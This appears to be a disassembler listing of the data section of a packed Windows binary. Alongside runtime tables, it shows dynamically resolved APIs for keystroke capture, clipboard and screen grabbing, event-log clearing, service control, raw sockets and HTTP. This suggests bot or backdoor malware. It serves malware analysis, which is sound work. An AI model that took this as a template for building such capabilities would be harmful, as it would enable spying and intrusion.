--------------------------------------------------------------------------- db 0CDh, 41h, 0 dword_43D5C8 dd 1B3Fh dword_43D5CC dd 19930520h, 4 dup(0) ; sub_41D2B6+2o off_43D5E0 dd offset sub_41BE32 ; DATA XREF: sub_41E0C9+1Cr dword_43D5E4 dd 2 ; sub_423C91+46r ... dd 10h, 0 off_43D5F0 dd offset off_43D5F0 ; DATA XREF: sub_41F016+Do ; sub_41F016+69o ... off_43D5F4 dd offset off_43D5F0 ; DATA XREF: sub_41F016:loc_41F096r ; sub_41F016+89w ... dd offset dword_43D608 dd offset dword_43D608 dword_43D600 dd 0FFFFFFFFh ; sub_41F15A:loc_41F1A7w dd 0FFFFFFFFh dword_43D608 dd 0F0h, 0F1h, 800h dup(0) ; .XPack0:0043D5FCo off_43F610 dd offset off_43D5F0 ; DATA XREF: sub_41F15A+15r ; sub_41F15A+20w ... dword_43F614 dd 1E0h ; sub_41BB83:loc_41BBBFr ... off_43F618 dd offset word_43F622 ; DATA XREF: sub_41BD5E+23r ; sub_41BD5E:loc_41BDBFr ... off_43F61C dd offset word_43F622 ; DATA XREF: sub_4272F4+18r db 2 dup(0) word_43F622 dw 20h ; DATA XREF: sub_425417+18r ; .XPack0:off_43F618o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43F824 dd 1 ; sub_41BD5E:loc_41BDAAr ... byte_43F828 db 2Eh ; DATA XREF: sub_420BB0:loc_420EA4r ; sub_420BB0+311r ... align 4 dd 1 off_43F830 dd offset aNull_1 ; DATA XREF: sub_41FD3F:loc_4200A3r ; sub_41FD3F+457r ; "(null)" off_43F834 dd offset aNull_0 ; DATA XREF: sub_41FD3F+259r ; "(null)" byte_43F838 db 1 ; DATA XREF: sub_420549+E1r db 2, 4, 8 align 10h dword_43F840 dd 3A4h dword_43F844 dd 82798260h, 21h, 0dword_43F850 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43F930 dd 1 ; sub_420A7F+Co dword_43F934 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43FA98 dd 0D2D0920h, 5Dh ; sub_420BB0:loc_421117o dword_43FAA0 dd 5Dh, 0 dword_43FAA8 dd 14h off_43FAAC dd offset aExp ; DATA XREF: sub_421CC4:loc_421CE1r ; "exp" dd 1Dh, 428860h, 1Ah, 42ED94h, 1Bh, 428858h, 1Fh, 428850h dd 13h, 428848h, 21h, 428840h, 0Eh, 428838h, 0Dh, 428830h dd 0Fh, 428828h, 10h, 428820h, 5, 428818h, 1Eh, 428814h dd 12h, 428810h, 20h, 42880Ch, 0Ch, 428804h, 0Bh, 4287FCh dd 15h, 4287F4h, 1Ch, 4287ECh, 19h, 4287E4h, 11h, 4287DCh dd 18h, 4287D4h, 16h, 4287CCh, 17h, 4287C4h, 22h, 4287C0h dd 23h, 4287BCh, 24h, 4287B8h dbl_43FB80 dq 1.797693134862316e308 ; DATA XREF: sub_4219FF+B7r ; sub_4219FF:loc_421AE6r ... dd 0 dd 0FFF80000h dbl_43FB90 dq 1.797693134862316e308 ; DATA XREF: sub_4219FF+92r ; sub_4219FF:loc_421ABEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43FBA8 dt 2.3562723457267347066e313 ; DATA XREF: sub_421EAC+Dr ; sub_421EAC+1Fr align 4 tbyte_43FBB4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421EAC+31r align 10h off_43FBC0 dd offset sub_422340 ; DATA XREF: sub_41CDCC+Fw ; sub_41FD3F+3AAr off_43FBC4 dd offset sub_421FD5 ; DATA XREF: sub_41CDCC+5w ; sub_41FD3F+3E2r off_43FBC8 dd offset sub_42203B ; DATA XREF: sub_41CDCC+14w ; sub_420BB0+430r off_43FBCC dd offset sub_421F7B ; DATA XREF: sub_41CDCC+1Ew ; sub_41FD3F+3CBr off_43FBD0 dd offset sub_422023 ; DATA XREF: sub_41CDCC+28w off_43FBD4 dd offset sub_422340 ; DATA XREF: sub_41CDCC+32w dd offset sub_424DDC align 10h dd offset sub_422BFC off_43FBE4 dd offset sub_422BFC ; DATA XREF: sub_422C52+29r dword_43FBE8 dd 0C0000005h ; sub_4234FA+11o ... dword_43FBEC dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43FC60 dd 3 ; sub_426025+C8r dword_43FC64 dd 7 ; sub_426025+CDr dword_43FC68 dd 0Ah ; sub_426152+4r dword_43FC6C dd 8Ch ; sub_4233B9+8Fw ... dword_43FC70 dd 0FFFFFFFFh, 0A00h ; sub_41FC2A:loc_41FCE7o dword_43FC78 dd 2 ; sub_423C91+28r off_43FC7C dd offset aR6002FloatingP ; DATA XREF: sub_423C91+FCr ; sub_423C91+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 428B7Ch, 9, 428B50h, 0Ah, 428B2Ch, 10h, 428B00h dd 11h, 428AD0h, 12h, 428AACh, 13h, 428A80h, 18h, 428A48h dd 19h, 428A20h, 1Ah, 4289E8h, 1Bh, 4289B0h, 1Ch, 428988h dd 78h, 428978h, 79h, 428968h, 7Ah, 428958h, 0FCh, 436F68h dd 0FFh, 428948h off_43FD08 dd offset dword_4DE900 ; DATA XREF: sub_423C91+1Bo ; sub_423FFE+55o dd 0 dd offset dword_4DE900 dd 101h dword_43FD18 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_43FD28 dd 3 dup(0) ; sub_420AE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43FD48 dd 3 dup(0) ; sub_420AE6:loc_420B04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43FD78 dd 84h dup(0) dword_43FF88 dd 2 dup(0) dword_43FF90 dd 2694h ; sub_4216B4+46r align 8 dword_43FF98 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43FFB0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43FFC8 dd 7080h ; sub_424EBC+5Ew ... dword_43FFCC dd 1 ; sub_424EBC+8Bw ... dword_43FFD0 dd 0FFFFF1F0h ; sub_424EBC+94w ... dword_43FFD4 dd 545350h, 0Fh dup(0)dword_440014 dd 544450h, 0Fh dup(0)off_440054 dd offset dword_43FFD4 ; DATA XREF: sub_424EBC+BAr ; sub_424EBC+D9r ... off_440058 dd offset dword_440014 ; DATA XREF: sub_424EBC+F4r ; sub_424EBC+11Br ... align 10h dword_440060 dd 0FFFFFFFFh ; sub_42511A+1Er ... dword_440064 dd 0 ; sub_4252C6+BFw dword_440068 dd 0 ; sub_4252C6+E0w align 10h dword_440070 dd 0FFFFFFFFh ; sub_42511A+26r ... dword_440074 dd 0 ; sub_4252C6+EAw ... dword_440078 dd 0 ; sub_4252C6+23r ... dword_44007C dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4400AC dd 16Dh ; sub_4252C6+2Er ... dword_4400B0 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_4400E8 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_440248 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4264AA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_4403A4 dd offset off_428D50 ; DATA XREF: .XPack0:00428F2Co ; .XPack0:00429004o dd 0 a_?avexception@ db '.?AVexception@@',0 off_4403BC dd offset off_428D50 ; DATA XREF: .XPack0:off_428DE0o ; .XPack0:00428E20o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_4403DC dd offset off_428D50 ; DATA XREF: .XPack0:off_428E28o ; .XPack0:00428E6Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_4403FC dd offset off_428D50 ; DATA XREF: .XPack0:off_428E74o ; .XPack0:00428EB8o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_440420 dd offset off_428D50 ; DATA XREF: .XPack0:off_428EC0o ; .XPack0:00428EFCo align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424DDC dd 21h dup(0) dword_4404C0 dd 0 byte_4404C4 db 0 ; DATA XREF: sub_40111A+62o ; sub_40121E+23Eo ... align 4 dword_4404C8 dd 0 ; sub_401AA1+AB3o ... dd 5 dup(0) dword_4404E0 dd 0 ; sub_415E4D+60r dd 2D9h dup(0) dword_441048 dd 0 ; sub_401AA1+5E5Dr ... dd 7Fh dup(0) dword_441248 dd 0 ; sub_40B38F+3Aw ... dword_44124C dd 0 ; sub_40B38F+40w ... dword_441250 dd 0 ; sub_40B38F+34r ... dword_441254 dd 0 ; sub_4017BF+B9w ... dword_441258 dd 0 ; sub_40B56A+2Aw ... dword_44125C dd 0 ; sub_40121E+441w ... byte_441260 db 0 ; DATA XREF: sub_4017BF+91o ; sub_401AA1+5CB1r ... align 4 dd 113Bh dup(0) dword_445750 dd 473Ch dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .XPack0:off_43B4BCo dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: .XPack0:off_433EA8o dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .XPack0:off_43B328o dd 3E7Fh dup(0) dword_4C4C44 dd 2501h dup(0) dword_4CE048 dd 0 ; sub_40B254+13o ... dword_4CE04C dd 0 ; sub_401AA1:loc_404433r ... dword_4CE050 dd 0 dword_4CE054 dd 20h dup(0) ; sub_40121E+50Do ... dword_4CE0D4 dd 10h dup(0) dword_4CE114 dd 24h dup(0) dword_4CE1A4 dd 0 ; sub_40121E+524w ... dword_4CE1A8 dd 0 dd 2 dup(0) byte_4CE1B4 db 0 ; DATA XREF: sub_401925+28r ; sub_401925+30o align 4 dword_4CE1B8 dd 0 ; sub_40121E+4E2r ... dword_4CE1BC dd 0 ; sub_401AA1+869r dword_4CE1C0 dd 0 ; .XPack0:0040AE49o ... dword_4CE1C4 dd 0 ; resolved to->GDI32.DeleteDC ; sub_4097DE+4EBr dword_4CE1C8 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419D3A+156r dword_4CE1CC dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4097DE+880r ... dword_4CE1D0 dd 0 ; sub_4097DE+A43r ... dword_4CE1D4 dd 0 ; sub_4097DE+A13r ... dword_4CE1D8 dd 0 ; resolved to->GDI32.SelectObject ; sub_4097DE+4DBr dword_4CE1DC dd 0 ; resolved to->USER32.GetKeyState ; sub_4097DE+234r ... dword_4CE1E0 dd 0 ; sub_4097DE+A3Br ... dword_4CE1E4 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_4097DE+3C7r ... dword_4CE1E8 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B0A1+11Er dword_4CE1EC dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4097DE+3CFr ... dword_4CE1F0 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_419332+ADr dword_4CE1F4 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40FDBE+115r ... dword_4CE1F8 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4097DE+D2r ... dword_4CE1FC dd 0 ; sub_4097DE+A06r ... dword_4CE200 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4097DE+3E7r ... dword_4CE204 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_4097DE+8ACr ... dword_4CE208 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4097DE+2F0r dword_4CE20C dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_4097DE+8A4r ... dword_4CE210 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CE214 dd 0 ; resolved to->WININET.InternetReadFile ; sub_4097DE+8B4r ... dword_4CE218 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_4097DE+6D0r ... dword_4CE21C dd 0 ; resolved to->KERNEL32.Process32Next ; sub_4097DE+CAr ... dword_4CE220 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_414050+11Ar dword_4CE224 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4097DE+A95w ... dword_4CE228 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4097DE+F2r dword_4CE22C dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_4097DE+4D3r dword_4CE230 dd 0 ; resolved to->WS2_32.ntohl ; sub_40C0F0+20r ... dword_4CE234 dd 0 ; sub_4097DE+A33r dword_4CE238 dd 0 ; resolved to->WS2_32.ntohs ; sub_4097DE+754r ... dword_4CE23C dd 0 dword_4CE240 dd 0 ; sub_40DB39+A7r dword_4CE244 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_4097DE+86Dr dword_4CE248 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_40B496+16o ... dword_4CE24C dd 0 ; sub_4097DE+A1Br ... dword_4CE250 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_4097DE+3D7r ... dword_4CE254 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4097DE+3DFr ... dword_4CE258 dd 0 ; sub_4097DE+C8Cr dword_4CE25C dd 0 ; resolved to->WS2_32.getpeername ; sub_41146C+D0r dword_4CE260 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_40111A+23r ... dword_4CE264 dd 0 ; resolved to->GDI32.DeleteObjectdword_4CE268 dd 0 ; sub_4097DE+A4Br ... dword_4CE26C dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4097DE+2B2w ... dword_4CE270 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4097DE+DAr ... dword_4CE274 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_401AA1+7798r ... dword_4CE278 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_401AA1+5028r ... dword_4CE27C dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_4097DE+890r ... dword_4CE280 dd 0 ; sub_4097DE+A23r dword_4CE284 dd 0 ; sub_4097DE+C3Fr ... dword_4CE288 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418B6C+47r dword_4CE28C dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_412911+40r ... dword_4CE290 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4097DE+92Er ... dword_4CE294 dd 0 dword_4CE298 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418B6C+4Fr dword_4CE29C dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_4097DE+6E8r ... dword_4CE2A0 dd 0 ; resolved to->WININET.InternetOpenA ; sub_4097DE+873r dword_4CE2A4 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_4097DE+23Cr ... dword_4CE2A8 dd 0 ; resolved to->USER32.IsWindow ; sub_4097DE+1C2r dword_4CE2AC dd 0 ; resolved to->WS2_32.getsockname ; sub_401AA1+59D5r ... dword_4CE2B0 dd 0 ; resolved to->WS2_32.connect ; sub_401AA1+50B2r ... dword_4CE2B4 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_4097DE+6DCr ... dword_4CE2B8 dd 0 ; sub_4097DE:loc_40A0D7w ... dword_4CE2BC dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4097DE+28Bw ... dword_4CE2C0 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_4097DE+69Fw ... dword_4CE2C4 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4097DE+341r ... dword_4CE2C8 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4097DE+3EFr ... dword_4CE2CC dd 0 ; sub_4097DE+C37r ... dword_4CE2D0 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_4097DE+888r ... dword_4CE2D4 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_4097DE+227r ... dword_4CE2D8 dd 0 ; resolved to->USER32.OpenClipboard ; sub_4097DE+1D2r ... dword_4CE2DC dd 0 ; resolved to->WININET.InternetConnectA ; sub_4097DE+898r ... dword_4CE2E0 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_4097DE+774r ... dword_4CE2E4 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_4097DE+2BFw ... dword_4CE2E8 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_4097DE+79Cr ... dword_4CE2EC dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_4097DE+334r ... dword_4CE2F0 dd 0 ; resolved to->WS2_32.select ; sub_4097DE+784r ... dword_4CE2F4 dd 0 ; resolved to->GDI32.CreateDCA ; sub_4097DE+4AEr dword_4CE2F8 dd 0 ; resolved to->USER32.GetClipboardData ; sub_4097DE+1DAr ... dword_4CE2FC dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4097DE+3BAr ... dword_4CE300 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CE304 dd 0 ; resolved to->WS2_32.ntohl ; sub_4097DE+748r ... dword_4CE308 dd 0 ; resolved to->WS2_32.ntohs ; sub_401AA1+5064r ... dword_4CE30C dd 0 ; resolved to->KERNEL32.Process32First ; sub_4097DE+C2r ... dword_4CE310 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_4097DE+4CBr dword_4CE314 dd 0 ; resolved to->USER32.FindWindowA ; sub_4097DE+1BAr ... dword_4CE318 dd 0 ; sub_4097DE+A5Br ... dword_4CE31C dd 0 ; resolved to->WS2_32.gethostname ; sub_4097DE+7ACr ... dword_4CE320 dd 0 ; resolved to->WSOCK32.recv ; sub_401AA1+50C7r ... dword_4CE324 dd 0 ; sub_4097DE+C47r ... dword_4CE328 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4097DE+BAr ... dword_4CE32C dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_4097DE+298w ... dword_4CE330 dd 0 ; resolved to->WS2_32.listen ; sub_4097DE+78Cr ... dword_4CE334 dd 0 ; resolved to->WS2_32.bind ; sub_4097DE+77Cr ... dword_4CE338 dd 0 dword_4CE33C dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_4169AB+4C9r ... dword_4CE340 dd 0 dword_4CE344 dd 0 ; sub_4097DE+C22r ... dword_4CE348 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401AA1+5E8Cr ... dword_4CE34C dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_4097DE+4BBr dword_4CE350 dd 0 ; resolved to->GDI32.BitBlt ; sub_4097DE+4E3r dword_4CE354 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_4097DE+4C3r dword_4CE358 dd 0 ; resolved to->WS2_32.send ; sub_401AA1+50E4r ... dword_4CE35C dd 0 ; resolved to->USER32.CloseClipboard ; sub_4097DE+1E2r ... dword_4CE360 dd 0 ; sub_4097DE+A53r ... dword_4CE364 dd 0 ; resolved to->USER32.SendMessageA ; sub_4097DE+1ADr ... dword_4CE368 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_4097DE+E2r ... dword_4CE36C dd 0 ; resolved to->WS2_32.sendto ; sub_4097DE+764r ... dword_4CE370 dd 0 ; sub_4097DE+B5Fr dword_4CE374 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419CCF+55r dword_4CE378 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4097DE+2D3r ... dword_4CE37C dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4CE380 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40A7FD+8Fr dword_4CE384 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4097DE+AE6r ... dword_4CE388 dd 0 ; resolved to->WS2_32.socket ; sub_401AA1+5043r ... dword_4CE38C dd 0 ; resolved to->WS2_32.gethostbyname ; sub_401AA1+7744r ... dword_4CE390 dd 0 ; sub_4097DE+C2Fr ... dword_4CE394 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_401AA1+59FBr ... dword_4CE398 dd 0 ; sub_4097DE+A2Br ... dword_4CE39C dd 0 ; resolved to->WS2_32.accept ; sub_4097DE+794r ... dword_4CE3A0 dd 0 ; resolved to->WS2_32.closesocket ; sub_4017BF+D0r ... dword_4CE3A4 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_4097DE+70Cr ... dword_4CE3A8 dd 0 ; sub_4097DE+B57r ... dword_4CE3AC dd 0 ; resolved to->WS2_32.WSASocketA ; sub_4097DE+6C4r ... dword_4CE3B0 dd 0 ; sub_4097DE+B4Ar ... dword_4CE3B4 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_4097DE+31w ... dword_4CE3B8 dd 0 ; resolved to->USER32.DestroyWindow ; sub_4097DE+1CAr dword_4CE3BC dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4097DE+93Br ... dword_4CE3C0 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_4097DE+EAr ... dword_4CE3C4 dd 0 ; sub_4097DE+12Bw ... dword_4CE3C8 dd 0 ; sub_40A49A+1Cr dword_4CE3CC dd 0 ; sub_4097DE:loc_409A33w ... dword_4CE3D0 dd 0 ; sub_40A49A+50r dword_4CE3D4 dd 0 ; sub_401AA1+4448r ... dword_4CE3D8 dd 0 ; sub_40A49A+84r dword_4CE3DC dd 0 ; sub_40A49A:loc_40A54Ar dword_4CE3E0 dd 0 ; sub_40A49A+B8r dword_4CE3E4 dd 0 ; sub_40A49A:loc_40A57Er dword_4CE3E8 dd 0 ; sub_40A49A+ECr dword_4CE3EC dd 0 ; sub_4097DE+8EFw ... dword_4CE3F0 dd 0 ; sub_40A49A+120r dword_4CE3F4 dd 0 ; sub_4097DE:loc_40A132w ... dword_4CE3F8 dd 0 ; sub_40A49A+154r dword_4CE3FC dd 0 ; sub_4097DE:loc_40A24Ew ... dword_4CE400 dd 0 ; sub_40A49A+188r dword_4CE404 dd 0 ; sub_40A49A:loc_40A64Er dword_4CE408 dd 0 ; sub_40A49A+1BCr dword_4CE40C dd 0 ; sub_40A49A:loc_40A682r dword_4CE410 dd 0 ; sub_40A49A+1F0r dword_4CE414 dd 0 ; sub_40A49A:loc_40A6B6r dword_4CE418 dd 0 ; sub_40A49A+224r dword_4CE41C dd 0 ; sub_40A49A:loc_40A6EAr dword_4CE420 dd 0 ; sub_40A49A+258r dword_4CE424 dd 0 ; sub_40A49A:loc_40A71Er dword_4CE428 dd 0 ; sub_40A49A+28Cr dword_4CE42C dd 0 ; sub_40A49A:loc_40A752r dword_4CE430 dd 0 ; sub_40A49A+2C0r dword_4CE434 dd 4 dup(0) byte_4CE444 db 0 ; DATA XREF: sub_40B153+64r ; sub_40B153+92w align 4 dword_4CE448 dd 0 ; sub_40C138+92w ... dword_4CE44C dd 0 ; sub_40C485+D9w ... dd 7FEh dup(0) dword_4D0448 dd 6 dup(0) ; sub_40C271+129o ... dword_4D0460 dd 0 ; sub_40BC0C+34Do dword_4D0464 dd 0 ; sub_40BC0C+35Fr dword_4D0468 dd 0 dword_4D046C dd 0 ; sub_40BC0C+320r dword_4D0470 dd 20h dup(0) ; sub_40BC0C+307o dword_4D04F0 dd 0 dword_4D04F4 dd 0 ; sub_40BC0C+311w dword_4D04F8 dd 0 align 10h dword_4D0500 dd 0 ; sub_40BC0C+FEo dword_4D0504 dd 41h dup(0) dword_4D0608 dd 41h dup(0) dword_4D070C dd 0 ; sub_40BC0C+110r dword_4D0710 dd 0 dword_4D0714 dd 0 ; sub_40BC0C+D1r dword_4D0718 dd 20h dup(0) ; sub_40BC0C+B7o dword_4D0798 dd 0 dword_4D079C dd 0 ; sub_40BC0C+C1w dword_4D07A0 dd 0 align 8 dword_4D07A8 dd 0 ; sub_40BC0C+226o dword_4D07AC dd 41h dup(0) dword_4D08B0 dd 41h dup(0) dword_4D09B4 dd 0 ; sub_40BC0C+238r dword_4D09B8 dd 0 dword_4D09BC dd 0 ; sub_40BC0C+1F9r dword_4D09C0 dd 20h dup(0) ; sub_40BC0C+1DFo dword_4D0A40 dd 0 dword_4D0A44 dd 0 ; sub_40BC0C+1E9w dword_4D0A48 dd 0 align 10h dword_4D0A50 dd 0 ; sub_40BC0C+467o dword_4D0A54 dd 0A2h dup(0) dword_4D0CDC dd 41h dup(0) dword_4D0DE0 dd 0 ; sub_40BC0C+41Ar align 8 dword_4D0DE8 dd 0 ; sub_40BC0C+479r dword_4D0DEC dd 0 dword_4D0DF0 dd 0 dword_4D0DF4 dd 0 dd 0 dword_4D0DFC dd 0 dword_4D0E00 dd 0 ; sub_40B85E+31r ... dword_4D0E04 dd 0 ; sub_40B85E+25r ... 